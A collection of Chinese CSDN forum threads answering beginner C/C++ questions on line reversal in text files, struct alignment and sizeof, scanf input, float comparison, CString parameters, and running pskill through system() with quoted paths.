Question: 求教：把txt文件每行的内容倒序后输出

引用 15 楼 Mr_warm 的回复:1、利用动态分配先搞一个足够大的char型数组。 2、读一行，从数组的尾部开始输出，直到数组的索引减小为0。 3、重复上一步操作，直到文件结束。 4、释放动态分配的内存。 O(∩_∩)O谢谢

引用 10 楼 baijiaheizhiganmao 的回复:[quote=引用 9 楼 nmgyxx 的回复:] baijiaheizhiganmao 您好，您的程序只能倒序第一行的内容啊，我想把每行的都倒序输出，txt文件中有20000行 哎，无语ing。[/quote] 不好意思啦，谢谢啦

引用 12 楼 nmgyxx 的回复:[quote=引用 11 楼 baijiaheizhiganmao 的回复:] [quote=引用 9 楼 nmgyxx 的回复:] baijiaheizhiganmao 您好，您的程序只能倒序第一行的内容啊，我想把每行的都倒序输出，txt文件中有20000行 #include<iostream> #include<fstream> #include<string> using namespace std; int main() { 	string temp; 	string content(""); 	string outcontent(""); 	//文件读（将文件的内容读出） 	ifstream fin("D:\\test.txt"); 	if(!fin) 	{ 		cout<<"open error1!"<<endl; 		return 0; 	} 	//文件内容保存到outcontent中 	while (getline(fin,temp)) 	{ 		int i = temp.length(); 		for (--i;i>=0;i--) 		{ 			outcontent+=temp[i]; 		} 		outcontent+='\n';		 	} 	fin.close();  	//文件写（将内容写入文件） 	ofstream fout("D:\\test.txt"); 	if(!fout) 	{ 		cout<<"open error2!"<<endl; 		return 0; 	}     	size_t i = outcontent.length(); 	for(size_t j =0;j<i;j++) 	{ 		fout<<outcontent[j]; 	} 	fout.close();     	return 0; }[/quote] 不知道您有没有检验过您的这个程序吗，我运行了一下，没有错误但是一直运行都没有终止，这是为什么呢？[/quote] 你觉得我会没有运行过吗？下面的结果是你想要的吗？不是的话就一定要把需求说清除。 ----源文件的东西------ 4321 8765 dvca ytrq srew dsac dead awdc ----程序运行完毕后文件内部变化------ 1234 5678 acvd qrty wers casd daed cdwa  请注意：2000行数据比较多，一定要在程序运行完毕后再打开文件。还有，运行程序的时候关闭要操作的文件。

引用 11 楼 baijiaheizhiganmao 的回复:[quote=引用 9 楼 nmgyxx 的回复:] baijiaheizhiganmao 您好，您的程序只能倒序第一行的内容啊，我想把每行的都倒序输出，txt文件中有20000行 #include<iostream> #include<fstream> #include<string> using namespace std; int main() { 	string temp; 	string content(""); 	string outcontent(""); 	//文件读（将文件的内容读出） 	ifstream fin("D:\\test.txt"); 	if(!fin) 	{ 		cout<<"open error1!"<<endl; 		return 0; 	} 	//文件内容保存到outcontent中 	while (getline(fin,temp)) 	{ 		int i = temp.length(); 		for (--i;i>=0;i--) 		{ 			outcontent+=temp[i]; 		} 		outcontent+='\n';		 	} 	fin.close();  	//文件写（将内容写入文件） 	ofstream fout("D:\\test.txt"); 	if(!fout) 	{ 		cout<<"open error2!"<<endl; 		return 0; 	}     	size_t i = outcontent.length(); 	for(size_t j =0;j<i;j++) 	{ 		fout<<outcontent[j]; 	} 	fout.close();     	return 0; }[/quote] 不知道您有没有检验过您的这个程序吗，我运行了一下，没有错误但是一直运行都没有终止，这是为什么呢？

#define MAXL 1024 char ln[MAXL]; FILE *f; ... f=fopen(fname,"r"); ... while (1) {  if (NULL==fgets(ln,MAXL,f)) break;  if ('\n'==ln[strlen(ln)-1]) ln[strlen(ln)-1]=0;  strrev(ln);  printf("%s\n",ln); } fclose(f);

引用 9 楼 nmgyxx 的回复:baijiaheizhiganmao 您好，您的程序只能倒序第一行的内容啊，我想把每行的都倒序输出，txt文件中有20000行 #include<iostream> #include<fstream> #include<string> using namespace std; int main() { 	string temp; 	string content(""); 	string outcontent(""); 	//文件读（将文件的内容读出） 	ifstream fin("D:\\test.txt"); 	if(!fin) 	{ 		cout<<"open error1!"<<endl; 		return 0; 	} 	//文件内容保存到outcontent中 	while (getline(fin,temp)) 	{ 		int i = temp.length(); 		for (--i;i>=0;i--) 		{ 			outcontent+=temp[i]; 		} 		outcontent+='\n';		 	} 	fin.close();  	//文件写（将内容写入文件） 	ofstream fout("D:\\test.txt"); 	if(!fout) 	{ 		cout<<"open error2!"<<endl; 		return 0; 	}     	size_t i = outcontent.length(); 	for(size_t j =0;j<i;j++) 	{ 		fout<<outcontent[j]; 	} 	fout.close();     	return 0; }

引用 9 楼 nmgyxx 的回复:baijiaheizhiganmao 您好，您的程序只能倒序第一行的内容啊，我想把每行的都倒序输出，txt文件中有20000行 哎，无语ing。

_strrev, _wcsrev, _mbsrev Reverse characters of a string.  char *_strrev( char *string );  wchar_t *_wcsrev( wchar_t *string );  unsigned char *_mbsrev( unsigned char *string );  Routine Required Header Compatibility  _strrev <string.h> Win 95, Win NT  _wcsrev <string.h> or <wchar.h> Win 95, Win NT  _mbsrev <mbstring.h> Win 95, Win NT    For additional compatibility information, see Compatibility in the Introduction.  Libraries  LIBC.LIB Single thread static library, retail version  LIBCMT.LIB Multithread static library, retail version  MSVCRT.LIB Import library for MSVCRT.DLL, retail version    Return Value  Each of these functions returns a pointer to the altered string. No return value is reserved to indicate an error.  Parameter  string  Null-terminated string to reverse  Remarks  The _strrev function reverses the order of the characters in string. The terminating null character remains in place. _wcsrev and _mbsrev are wide-character and multibyte-character versions of _strrev. The arguments and return value of _wcsrev are wide-character strings; those of _mbsrev are multibyte-character strings. For _mbsrev, the order of bytes in each multibyte character in string is not changed. These three functions behave identically otherwise.   Generic-Text Routine Mappings  TCHAR.H Routine  _UNICODE & _MBCS Not Defined _MBCS Defined _UNICODE Defined  _tcsrev _strrev  _mbsrev  _wcsrev     Example  /* STRREV.C: This program checks an input string to  * see whether it is a palindrome: that is, whether  * it reads the same forward and backward.  */  #include <string.h> #include <stdio.h>  void main( void ) {    char string[100];    int result;     printf( "Input a string and I will tell you if it is a palindrome:\n" );    gets( string );     /* Reverse string and compare (ignore case): */    result = _stricmp( string, _strrev( _strdup( string ) ) );    if( result == 0 )       printf( "The string \"%s\" is a palindrome\n\n", string );    else       printf( "The string \"%s\" is not a palindrome\n\n", string ); }   Output  Input a string and I will tell you if it is a palindrome: Able was I ere I saw Elba The string "Able was I ere I saw Elba" is a palindrome   String Manipulation Routines  See Also   strcpy, _strset

#include<iostream> #include<fstream> #include<string> using namespace std; int main() { 	string content(""); 	string outcontent(""); 	//文件读（将文件的内容读出） 	ifstream fin("D:\\test.txt"); 	if(!fin) 	{ 		cout<<"open error1!"<<endl; 		return 0; 	} 	//文件内容保存到outcontent中 	fin>>outcontent;  	fin.close();  	//文件写（将内容写入文件） 	ofstream fout("D:\\test.txt"); 	if(!fout) 	{ 		cout<<"open error2!"<<endl; 		return 0; 	}	 	//退出时按ctrl+z 	size_t i = outcontent.length(); 	for(int j =--i ;j>=0;j--) 	{ 		fout<<outcontent[j]; 	} 	fout.close();	 	return 0; }

是每行吧,不用整个文件吧. 读行的函数fstream里面有吧

stack.push  stack.pop

用fseek函数，从最末尾往头开始fgetc后输出。同意

用fseek函数，从最末尾往头开始fgetc后输出。  引用 楼主 nmgyxx 的回复:把txt文件每行的内容倒序后输出，例如ABCD，输出后为DCBA，谢谢                                    1234          4321

google 字符串倒序


Question: 求助，同一结构体居然打印出不同结果

#include <stdio.h> #define field_offset(s,f) (int)(&(((struct s *)(0))->f)) struct AD  { int a; char b[13]; double c;}; #pragma pack(push) #pragma pack(1) struct A1  { int a; char b[13]; double c;}; #pragma pack(2) struct A2  { int a; char b[13]; double c;}; #pragma pack(4) struct A4  { int a; char b[13]; double c;}; #pragma pack(8) struct A8  { int a; char b[13]; double c;}; #pragma pack(16) struct A16 { int a; char b[13]; double c;}; #pragma pack(pop) int main() {     printf("AD.a %d\n",field_offset(AD,a));     printf("AD.b %d\n",field_offset(AD,b));     printf("AD.c %d\n",field_offset(AD,c));     printf("\n");     printf("A1.a %d\n",field_offset(A1,a));     printf("A1.b %d\n",field_offset(A1,b));     printf("A1.c %d\n",field_offset(A1,c));     printf("\n");     printf("A2.a %d\n",field_offset(A2,a));     printf("A2.b %d\n",field_offset(A2,b));     printf("A2.c %d\n",field_offset(A2,c));     printf("\n");     printf("A4.a %d\n",field_offset(A4,a));     printf("A4.b %d\n",field_offset(A4,b));     printf("A4.c %d\n",field_offset(A4,c));     printf("\n");     printf("A8.a %d\n",field_offset(A8,a));     printf("A8.b %d\n",field_offset(A8,b));     printf("A8.c %d\n",field_offset(A8,c));     printf("\n");     printf("A16.a %d\n",field_offset(A16,a));     printf("A16.b %d\n",field_offset(A16,b));     printf("A16.c %d\n",field_offset(A16,c));     printf("\n");     return 0; } //AD.a 0 //AD.b 4 //AD.c 24 // //A1.a 0 //A1.b 4 //A1.c 17 // //A2.a 0 //A2.b 4 //A2.c 18 // //A4.a 0 //A4.b 4 //A4.c 20 // //A8.a 0 //A8.b 4 //A8.c 24 // //A16.a 0 //A16.b 4 //A16.c 24 // //

引用 7 楼 liuhongwei110 的回复:同一地址，同一结构体不能保证相同的值，比如你fork（）一个子进程，就会出现相同变量的地址一样，但值不同，这个很正常，因为用的都是虚拟地址。 这个程序当中没有使用多进程和多线程，是一个实时程序

引用 5 楼 nice_cxf 的回复:看所有文件，是不是有 类似#pragma pack (4)，之后都#pragma pack ()回来了，如果设置完没置回，加上就可以了 应该不是这个问题，我写程序从来不用#pragma语句

引用 3 楼 nice_cxf 的回复:字节对齐设置不一致把 自己对齐吗，要在哪里设置呢，我也感觉是对齐的问题

字节对齐设置不一致把

引用 1 楼 abc594986308 的回复:看不懂？你要干嘛？ 同一地址，同一结构体，为何打印的数据不一样呢

看不懂？你要干嘛？


Question: 求解答，关于scanf函数问题

楼上正解，

#include <stdio.h> char s[]="123 ab 4"; char *p; int v,n,k; void main() {     p=s;     while (1) {         k=sscanf(p,"%d%n",&v,&n);         printf("k,v,n=%d,%d,%d\n",k,v,n);         if (1==k) {             p+=n;         } else if (0==k) {             printf("skip char[%c]\n",p[0]);             p++;         } else {//EOF==k             break;         }     }     printf("End.\n"); } //k,v,n=1,123,3 //k,v,n=0,123,3 //skip char[ ] //k,v,n=0,123,3 //skip char[a] //k,v,n=0,123,3 //skip char[b] //k,v,n=1,4,2 //k,v,n=-1,4,2 //End.

#include<stdio.h> #define M 3 #define N 4  void main() { 	int i,j; 	char a[M][N];  	for(i=0;i<M;i++) 		for(j=0;j<N;j++){ 			scanf("%c",&a[i][j]);                         getchar();                 } 	printf("\n\n数组为:\n"); 	for(i=0;i<M;i++) 	{ 		for(j=0;j<N;j++) 			printf("%c\t",a[i][j]); 		printf("\n");  	} }

引用 5 楼 u011471910 的回复:[quote=引用 3 楼 waynexuan 的回复:] 制表符换成空格不好意思，我没表达清楚。。我其实是想问输入数组的时候为什么输入 w w w w s s s s  h h h h 敲下回车无法结束循环输入，必须再输入一个除了空格，回车以外的字符才能完成输入，还有什么其他方法可以不用再输入其他字符就可以完成数组的输入吗[/quote] 去掉scanf()里的空格,后面加getchar()

引用 3 楼 waynexuan 的回复:制表符换成空格不好意思，我没表达清楚。。我其实是想问输入数组的时候为什么输入 w w w w s s s s  h h h h 敲下回车无法结束循环输入，必须再输入一个除了空格，回车以外的字符才能完成输入，还有什么其他方法可以不用再输入其他字符就可以完成数组的输入吗

楼上正解！制表符换成空格

制表符换成空格

#include<stdio.h> #define M 3 #define N 4   void main() {     int i,j;     char a[M][N];       for(i=0;i<M;i++)         for(j=0;j<N;j++)             scanf("%c ",&a[i][j]);     printf("\n\n数组为:\n");     for(i=0;i<M;i++)     {         for(j=0;j<N;j++)             printf("%c ",a[i][j]);         printf("\n");       } }

printf("%c\t",a[i][j]);


Question: 一个用代码无法杀掉进程的问题，请帮忙看看怎么回事

我的运行路径是这个，中间有两个路径有空格，system返回值是1，应该还是路径问题吧 "\"C:\Program Files\RealFriend\RVD Desktop Tools\Bin\pskill.exe\" sysprep.exe"

非常感谢两位的帮助，我只剩下20分了，一人一半吧，我之前还有两个帖子一直没结贴，可能是没人会吧，我把链接发到这，你们随便回复个信息我把分给你们，把帖子接了，我已经没分了 http://bbs.csdn.net/topics/390640409 http://bbs.csdn.net/topics/390632914

引用 23 楼 zhao4zhong1 的回复:施恩图报恶之始。 呵呵，也不是图那几分呗。CSDN的积分对我有啥用？ 看到一些傻X问题， 给多少分我也不回答。 所以我09年注册，到现在还是没什么积分，因为我不需要。 但是一旦回答了，我就希望自己的观点得到应有的重视。 这才是知识交流的应有态度。

施恩图报恶之始。我又开始作恶了！唉！！ 为什么要加“又”？

引用 18 楼 toofunny 的回复:[quote=引用 17 楼 yangw150 的回复:] system("D:\\test\\Killsysprep\\KillSysprep\\Debug\\pskill.exe sysprep.exe");  每次有你出现，问题必迎刃而解，非常感谢你对我的帮助，当然是拿分报答你啦，再帮我回答一下你上面的的那个有空格的问题吧，谢谢啦 这个不是我的吗？怎么报答他啦？[/quote] 路径写法报答你，用pskill报答我。  施恩图报恶之始。我有开始作恶了！唉！！

"\"C:\\Program Files\\RealFriend\\RVD Desktop Tools\\Bin\\pskill.exe\" sysprep.exe"  C++ Character Constants Character constants are one or more members of the “source character set,” the character set in which a program is written, surrounded by single quotation marks ('). They are used to represent characters in the “execution character set,” the character set on the machine where the program executes.  Microsoft Specific   For Microsoft C++, the source and execution character sets are both ASCII.  END Microsoft Specific  There are three kinds of character constants:   Normal character constants   Multicharacter constants   Wide-character constants  Note   Use wide-character constants in place of multicharacter constants to ensure portability.  Character constants are specified as one or more characters enclosed in single quotation marks. For example:  char ch = 'x';          // Specify normal character constant. int mbch = 'ab';        // Specify system-dependent                         //  multicharacter constant. wchar_t wcch = L'ab';   // Specify wide-character constant.  Note that mbch is of type int. If it were declared as type char, the second byte would not be retained. A multicharacter constant has four meaningful characters; specifying more than four generates an error message.  Syntax  character-constant :  'c-char-sequence' L'c-char-sequence'  c-char-sequence :  c-char c-char-sequence c-char  c-char :  any member of the source character set except the single quotation mark ('), backslash (\), or newline character escape-sequence  escape-sequence :  simple-escape-sequence octal-escape-sequence hexadecimal-escape-sequence  simple-escape-sequence : one of  \' \" \? \\ \a \b \f \n \r \t \v  octal-escape-sequence :  \octal-digit \octal-digit octal-digit \octal-digit octal-digit octal-digit  hexadecimal-escape-sequence :  \xhexadecimal-digit hexadecimal-escape-sequence hexadecimal-digit  Microsoft C++ supports normal, multicharacter, and wide-character constants. Use wide-character constants to specify members of the extended execution character set (for example, to support an international application). Normal character constants have type char, multicharacter constants have type int, and wide-character constants have type wchar_t. (The type wchar_t is defined in the standard include files STDDEF.H, STDLIB.H, and STRING.H. The wide-character functions, however, are prototyped only in STDLIB.H.)  The only difference in specification between normal and wide-character constants is that wide-character constants are preceded by the letter L. For example:  char schar = 'x';               // Normal character constant wchar_t wchar = L'\x81\x19';    // Wide-character constant  Table 1.2 shows reserved or nongraphic characters that are system dependent or not allowed within character constants. These characters should be represented with escape sequences.  Table 1.2   C++ Reserved or Nongraphic Characters  Character ASCII  Representation ASCII  Value Escape Sequence  Newline NL (LF) 10 or 0x0a \n  Horizontal tab HT 9 \t  Vertical tab VT 11 or 0x0b \v  Backspace BS 8 \b  Carriage return CR 13 or 0x0d \r  Formfeed FF 12 or 0x0c \f  Alert BEL 7 \a  Backslash \ 92 or 0x5c \\  Question mark ? 63 or 0x3f \?  Single quotation mark ' 39 or 0x27 \'  Double quotation mark " 34 or 0x22 \"  Octal number ooo — \ooo  Hexadecimal number hhh — \xhhh  Null character NUL 0 \0    If the character following the backslash does not specify a legal escape sequence, the result is implementation defined. In Microsoft C++, the character following the backslash is taken literally, as though the escape were not present, and a level 1 warning (“unrecognized character escape sequence”) is issued.  Octal escape sequences, specified in the form \ooo, consist of a backslash and one, two, or three octal characters. Hexadecimal escape sequences, specified in the form \xhhh, consist of the characters \x followed by a sequence of hexadecimal digits. Unlike octal escape constants, there is no limit on the number of hexadecimal digits in an escape sequence.  Octal escape sequences are terminated by the first character that is not an octal digit, or when three characters are seen. For example:  wchar_t och = L'\076a';  // Sequence terminates at a char    ch = '\233';     // Sequence terminates after 3 characters  Similarly, hexadecimal escape sequences terminate at the first character that is not a hexadecimal digit. Because hexadecimal digits include the letters a through f (and A through F), make sure the escape sequence terminates at the intended digit.  Because the single quotation mark (') encloses character constants, use the escape sequence \' to represent enclosed single quotation marks. The double quotation mark (") can be represented without an escape sequence. The backslash character (\) is a line-continuation character when placed at the end of a line. If you want a backslash character to appear within a character constant, you must type two backslashes in a row (\\). (SeePhases of Translation in the Preprocessor Reference for more information about line continuation.)

system("\"D:\\te    st\\pskill.exe\" sysprep.exe"); 有空格的用\"括起来。

引用 17 楼 yangw150 的回复:system("D:\\test\\Killsysprep\\KillSysprep\\Debug\\pskill.exe sysprep.exe");  每次有你出现，问题必迎刃而解，非常感谢你对我的帮助，当然是拿分报答你啦，再帮我回答一下你上面的的那个有空格的问题吧，谢谢啦 这个不是我的吗？怎么报答他啦？

引用 14 楼 yangw150 的回复:杀掉啦，system("D:\\test\\Killsysprep\\KillSysprep\\Debug\\pskill.exe sysprep.exe"); 这个可以，谢谢 怎么谢我？

还想再追问一下，我实际的工程中，路径里面是有空格的，比如C:\Program Files.....这样的话system会执行失败，请问下这种情况下怎么运行呢，比如路径有好几层，有的路径有空格，有的没有。该如何执行system函数呢？

双斜杠也不好使啊

⊙﹏⊙b汗，又错了 system("D:\\test\\Killsysprep\\KillSysprep\\Debug\\pskill.exe sysprep.exe");

system("start D:\test\Killsysprep\KillSysprep\Debug\pskill.exe sysprep.exe");

我把路径改了，获取当前运行的路径system(D:\test\Killsysprep\KillSysprep\Debug\pskill.exe sysprep.exe)还是不行呀

相对路径就行了，只要你PATH变量中有这个路径

百分之九十的可能是路径没写对。LZ检查一下system函数里的路径。

是不是我使用方法不对呀，我把pskill.exe和sysprep.exe放在工程的debug目录下，先运行sysprep程序，然后再运行代码，还是没杀掉呀，调用的是system("pskill.exe sysprep.exe");还是pskill程序要绝对路径？

system("pskill.exe sysprep.exe");  http://technet.microsoft.com/en-us/Sysinternals/Bb896683.aspx


Question: 求struct union的大小

问题还是没有解决……

typedef union  {     long i; 不小于4个字节     int k[5];不小于10个字节     char c;不小于1字节 }DATE; 应该是；不小于10个字节。   struct data {     int cat;不小于2个字节     DATE cow;不小于10个字节     double dog;这个很难确定，保守的说；不小于2个字节。 }too;这个，应该不少于14个字节。  c  基本类型长度是一个机器字，而机器字的长度是不统一的，与机器有关。c不保证类型长度，只是说“不少于某长度” 一个 int 的长度不小于，一个 short int长度。而一个short int不低于2个字节，所以，一个int也就不少于2个字节。 float double 没有说明具体的参考长度，可能是一个机器字。  c 没有对齐要求，对齐是目标机的要求，目标机的不同，对齐也就不同。

引用 楼主 taotao945 的回复: typedef union  { 	long i; 	int k[5]; 	char c; }DATE;  struct data { 	int cat; 	DATE cow; 	double dog; }too;  求sizeof(struct data)+sizeof(max))是多少，为什么 struct data里面是怎么对齐的。。。   在4字节对齐下，你上面写的没涉及到对齐，因为都是齐的... typedef union  { 	long i; 	int k[5]; 	char c; }DATE;  4*5 = 20 struct data结构 4 + 20 + 8 = 32 想弄清楚对齐： struct A {    int a;    char b;    short c; }； struct B {    char b;    short c;    int a; }； 看看A和B的大小

#include <stdio.h> #define field_offset(s,f) (int)(&(((struct s *)(0))->f)) struct AD  { int a; char b[13]; double c;}; #pragma pack(push) #pragma pack(1) struct A1  { int a; char b[13]; double c;}; #pragma pack(2) struct A2  { int a; char b[13]; double c;}; #pragma pack(4) struct A4  { int a; char b[13]; double c;}; #pragma pack(8) struct A8  { int a; char b[13]; double c;}; #pragma pack(16) struct A16 { int a; char b[13]; double c;}; #pragma pack(pop) int main() {     printf("AD.a %d\n",field_offset(AD,a));     printf("AD.b %d\n",field_offset(AD,b));     printf("AD.c %d\n",field_offset(AD,c));     printf("\n");     printf("A1.a %d\n",field_offset(A1,a));     printf("A1.b %d\n",field_offset(A1,b));     printf("A1.c %d\n",field_offset(A1,c));     printf("\n");     printf("A2.a %d\n",field_offset(A2,a));     printf("A2.b %d\n",field_offset(A2,b));     printf("A2.c %d\n",field_offset(A2,c));     printf("\n");     printf("A4.a %d\n",field_offset(A4,a));     printf("A4.b %d\n",field_offset(A4,b));     printf("A4.c %d\n",field_offset(A4,c));     printf("\n");     printf("A8.a %d\n",field_offset(A8,a));     printf("A8.b %d\n",field_offset(A8,b));     printf("A8.c %d\n",field_offset(A8,c));     printf("\n");     printf("A16.a %d\n",field_offset(A16,a));     printf("A16.b %d\n",field_offset(A16,b));     printf("A16.c %d\n",field_offset(A16,c));     printf("\n");     return 0; } //AD.a 0 //AD.b 4 //AD.c 24 // //A1.a 0 //A1.b 4 //A1.c 17 // //A2.a 0 //A2.b 4 //A2.c 18 // //A4.a 0 //A4.b 4 //A4.c 20 // //A8.a 0 //A8.b 4 //A8.c 24 // //A16.a 0 //A16.b 4 //A16.c 24 // //

依据环境的吧要？标准只规定了char是一个字节，其他基本类型没有明确规定大小吧。另外具体的系统是按多少字节分配一个空间也是根据系统来的吧。所以没有一个统一的答案吧，这是个按实现定义的问题吧。

其实应该换一个角度来想，按哪种方式对齐，需要把所有成员数据都拆成内置类型，然后再看整数倍（不包括数组）。所以DATE其实可以认为是int k[5];组成的，撇开数组后类型是int，所有的成员都没有超过4字节，所以是按4字节对齐的。

引用 11 楼 taotao945 的回复:[quote=引用 10 楼 max_min_ 的回复:] [quote=引用 9 楼 max_min_ 的回复:] [quote=引用 8 楼 taotao945 的回复:] [quote=引用 7 楼 max_min_ 的回复:] w网上很多这样的内存对齐的介绍的！看看理论知识！自己再敲下代码就明白了！  我敲了代码，运行结果是52，但是不懂，union的话大小是20这个明白，但后面一个怎么算都不是编译器的运行结果啊，可以指点下吗？[/quote] sizeof(struct data)+sizeof(max)  max是什么呢？ [/quote] 看到了 后面就是 4+ 20 +8 =32  [/quote] 亲，为什么不用补齐呢？结构体的大小不得是最宽基本类型的整数倍么？而且偏移量也得是成员大小的整数倍啊，都不满足呢？[/quote] 你想多了，这个规则其实指的是动态选择成按1、2、4、8、16字节方式对齐，对于20字节什么的是无效的，不然要浪费多少空间啊。

引用 11 楼 taotao945 的回复:[quote=引用 10 楼 max_min_ 的回复:] [quote=引用 9 楼 max_min_ 的回复:] [quote=引用 8 楼 taotao945 的回复:] [quote=引用 7 楼 max_min_ 的回复:] w网上很多这样的内存对齐的介绍的！看看理论知识！自己再敲下代码就明白了！  我敲了代码，运行结果是52，但是不懂，union的话大小是20这个明白，但后面一个怎么算都不是编译器的运行结果啊，可以指点下吗？[/quote] sizeof(struct data)+sizeof(max)  max是什么呢？ [/quote] 看到了 后面就是 4+ 20 +8 =32  [/quote] 亲，为什么不用补齐呢？结构体的大小不得是最宽基本类型的整数倍么？而且偏移量也得是成员大小的整数倍啊，都不满足呢？[/quote] 32位都是4字节补齐就好了阿！你这里都是4字节对齐的啊！

引用 10 楼 max_min_ 的回复:[quote=引用 9 楼 max_min_ 的回复:] [quote=引用 8 楼 taotao945 的回复:] [quote=引用 7 楼 max_min_ 的回复:] w网上很多这样的内存对齐的介绍的！看看理论知识！自己再敲下代码就明白了！  我敲了代码，运行结果是52，但是不懂，union的话大小是20这个明白，但后面一个怎么算都不是编译器的运行结果啊，可以指点下吗？[/quote] sizeof(struct data)+sizeof(max)  max是什么呢？ [/quote] 看到了 后面就是 4+ 20 +8 =32  [/quote] 亲，为什么不用补齐呢？结构体的大小不得是最宽基本类型的整数倍么？而且偏移量也得是成员大小的整数倍啊，都不满足呢？

引用 9 楼 max_min_ 的回复:[quote=引用 8 楼 taotao945 的回复:] [quote=引用 7 楼 max_min_ 的回复:] w网上很多这样的内存对齐的介绍的！看看理论知识！自己再敲下代码就明白了！  我敲了代码，运行结果是52，但是不懂，union的话大小是20这个明白，但后面一个怎么算都不是编译器的运行结果啊，可以指点下吗？[/quote] sizeof(struct data)+sizeof(max)  max是什么呢？ [/quote] 看到了 后面就是 4+ 20 +8 =32

引用 8 楼 taotao945 的回复:[quote=引用 7 楼 max_min_ 的回复:] w网上很多这样的内存对齐的介绍的！看看理论知识！自己再敲下代码就明白了！  我敲了代码，运行结果是52，但是不懂，union的话大小是20这个明白，但后面一个怎么算都不是编译器的运行结果啊，可以指点下吗？[/quote] sizeof(struct data)+sizeof(max)  max是什么呢？

引用 7 楼 max_min_ 的回复:w网上很多这样的内存对齐的介绍的！看看理论知识！自己再敲下代码就明白了！  我敲了代码，运行结果是52，但是不懂，union的话大小是20这个明白，但后面一个怎么算都不是编译器的运行结果啊，可以指点下吗？

w网上很多这样的内存对齐的介绍的！看看理论知识！自己再敲下代码就明白了！

1L都写出对齐怎么算

引用 2 楼 yangw150 的回复:sizeof(struct data) = 24（4+10+8+2），最后的加2为了字节对齐，sizeof(max)是啥东西，没看到max 不好意思写漏了，掉了句 DATE max;

这个对齐补齐的问题跟环境有关系。。。

引用 2 楼 yangw150 的回复:sizeof(struct data) = 24（4+10+8+2），最后的加2为了字节对齐，sizeof(max)是啥东西，没看到max 算错了吧，Union Date是20，应该是 4+20+8=32吧，下面是我用VS打印出来的：class data      size(32):         +---  0      | cat  4      | DATE cow 24      | dog         +---

关于字节对齐网上有很多讲解，这里贴一篇出来。http://blog.csdn.net/21aspnet/article/details/6729724 另外，以下是我个人的总结，楼主可以借鉴一下。 1. 在X86主机上，GNU和VC默认的对齐方式都为4字节对齐。 2. 对于基本类型，其地址如果在其类型大小倍数的地址上，则为自然对齐。对于数组，以其基本类型对齐；对于结构和联合，以最大的成员作为对齐方式。结构成员按照声明顺序在内存中存放。 3. 结构成员的大小必须是对齐方式的整数倍，结构成员需自然对齐。 4. 改变对齐的方式有： #pragma pack (n)设置n字节对齐 #pragma pack ()恢复默认的对齐方式 对于GNU还有在定义结构的最后加上__attribute__((aligned(n)))，n如果比结构对齐方式小，则无效，没有n使用默认；__attribute__((packed))取消编译过程中的对齐优化，按照实际字节排列。


Question: float 类型数据输出问题

引用 7 楼 huabinsir 的回复:[quote=引用 3 楼 zhao4zhong1 的回复:] 用10进制小数不能精确表示某些三进制小数0.1(3)=0.33333333333……(10) 同理，用二进制小数也不能精确表示某些10进制小数。  用10进制小数不能精确表示某些三进制小数0.1(3)=0.33333333333……(10)? 为什么?  如何理解你的意思? [/quote]  3进制的0.1 转换成10进制就是0.33333333……

看看内存中到底是什么

引用 3 楼 zhao4zhong1 的回复:用10进制小数不能精确表示某些三进制小数0.1(3)=0.33333333333……(10) 同理，用二进制小数也不能精确表示某些10进制小数。  用10进制小数不能精确表示某些三进制小数0.1(3)=0.33333333333……(10)? 为什么?  如何理解你的意思?

理解  计算机中整型数据最精确

引用 4 楼 huabinsir 的回复:[quote=引用 2 楼 Adol1111 的回复:] 你的scale估计是0.0000000000000000000001这种，浮点数无法精确，所以输出的是0.0000 你改成这样应该就可以了：if((scale-0)>1e5) 浮点数无法精确，比较所以处理的时候会很麻烦，不要直接进行比较。  if (scale>0) 正确的写法应是以下吗?  ==> if((scale-0)>0.000001) [/quote] 具体精度按自己的情况取，浮点数一般是是这样比较的。因为如你所见的，当非常接近这个浮点数的时候比较会出现异常。最好把0写成0.0浮点数的格式。

引用 2 楼 Adol1111 的回复:你的scale估计是0.0000000000000000000001这种，浮点数无法精确，所以输出的是0.0000 你改成这样应该就可以了：if((scale-0)>1e5) 浮点数无法精确，比较所以处理的时候会很麻烦，不要直接进行比较。  if (scale>0) 正确的写法应是以下吗?  ==> if((scale-0)>0.000001)

太扯了，首先判断浮点数不应该直接用这样简单的>0 判断还有，输出结果一定不应该是这样子的


Question: mfc内容求解

关于CString可以查看msdnhttp://msdn.microsoft.com/en-us/library/aa315043%28v=vs.60%29.aspx 类类型转换你如果有C++ primer那本书（我的还是第四版）的话，可以看一下14.9节转换与类类型。

引用 10 楼 ws_yqr 的回复:CString不能直接作为Read的x参数，是因为：传CString类型参数时，由于CString和void *类型不匹配，导致隐式类型转换，CString调用operator LPCTSTR()转换成LPCTSTR类型，LPCTSTR指向的是const类型，不能传递给非const的形参x。在哪可以找到先关内容？

要想将cstring作为read的参数需要调用csting的getbuff

引用 9 楼 ztzi321 的回复:引用 7 楼 lineage191 的回复:[quote=引用 4 楼 ztzi321 的回复:] [quote=引用 2 楼 lineage191 的回复:] 楼主纠结这些干嘛，没实际用，cstring穿不进去 就用getbuffer为什么write可以？ read 用getbuffer ，因为你要用cstring接收，但cstring 等价于const char（模糊的说），所以要想对其进行修改，出了他自己的函数外，就是操作调用getbuffer返回的指针， cstring 当然可以传给write 了，因为他存的就是字符串，read不能传的原因是因为read的参数不是const，[/quote] 求const void *和void *的区别[/quote]  const修饰参数表示函数内不会修改传入的实参，因此要传入一个const实参必须加const修饰形参，若是void*形参，函数因可能会改变传入的参数，因此当传入一个const的实参时编译器会提示错误。

引用 7 楼 lineage191 的回复:引用 4 楼 ztzi321 的回复:[quote=引用 2 楼 lineage191 的回复:] 楼主纠结这些干嘛，没实际用，cstring穿不进去 就用getbuffer为什么write可以？ read 用getbuffer ，因为你要用cstring接收，但cstring 等价于const char（模糊的说），所以要想对其进行修改，出了他自己的函数外，就是操作调用getbuffer返回的指针， cstring 当然可以传给write 了，因为他存的就是字符串，read不能传的原因是因为read的参数不是const，[/quote] 求const void *和void *的区别

